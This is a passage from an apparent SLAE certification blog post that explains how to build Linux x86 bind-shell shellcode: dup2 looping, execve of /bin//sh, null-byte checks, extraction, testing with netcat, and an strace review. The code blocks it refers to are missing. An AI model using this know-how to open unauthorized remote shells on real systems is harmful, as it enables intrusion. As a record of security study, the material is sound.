We can use a register initialized to 2 and loop until 0 in order to have less instructions in the shellcode. The system call number for dup2() is 63, 0x3F (in unistd_32.h)
The following code accomplishes the duplication:

The last part is the execve-stack code, which is presented below:

We are now ready to compile our assembly code. Compile it, and check if there are any null bytes.

Then extract the shellcode and paste it into the C file that will execute it.
For the extraction we can create a simple bash script which executes an objdump and applies some commandlinefu (http://www.commandlinefu.com/commands/view/12151/get-shellcode-of-the-binary-using-objdump, see comment by “arno”):

Copy and paste the shellcode into shellcode.c. We will need to be able to change the listening port easily, so we will write it in a single line to ease identification.

Compile and execute the code:

On a new terminal, execute a netstat to see the listening ports:
Our shellcode seems to be listening. We connect to the port using netcat and execute a command or two (commands entered shown with red arrows):

Upon pressing Ctrl-C the program terminates and the socket is closed.
We can also see the various system calls of our shellcode, by running it under strace:

First we have the socket call, which returns the file descriptor number 3. The bind and listen are successful (observe the file descriptor value in the parameters passed to them). Accept is also successful and returns back the file descriptor 4. This is used for the three dup calls, and finally the execve is executed for /bin//sh.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student-ID: SLAE-645









































Recent Comments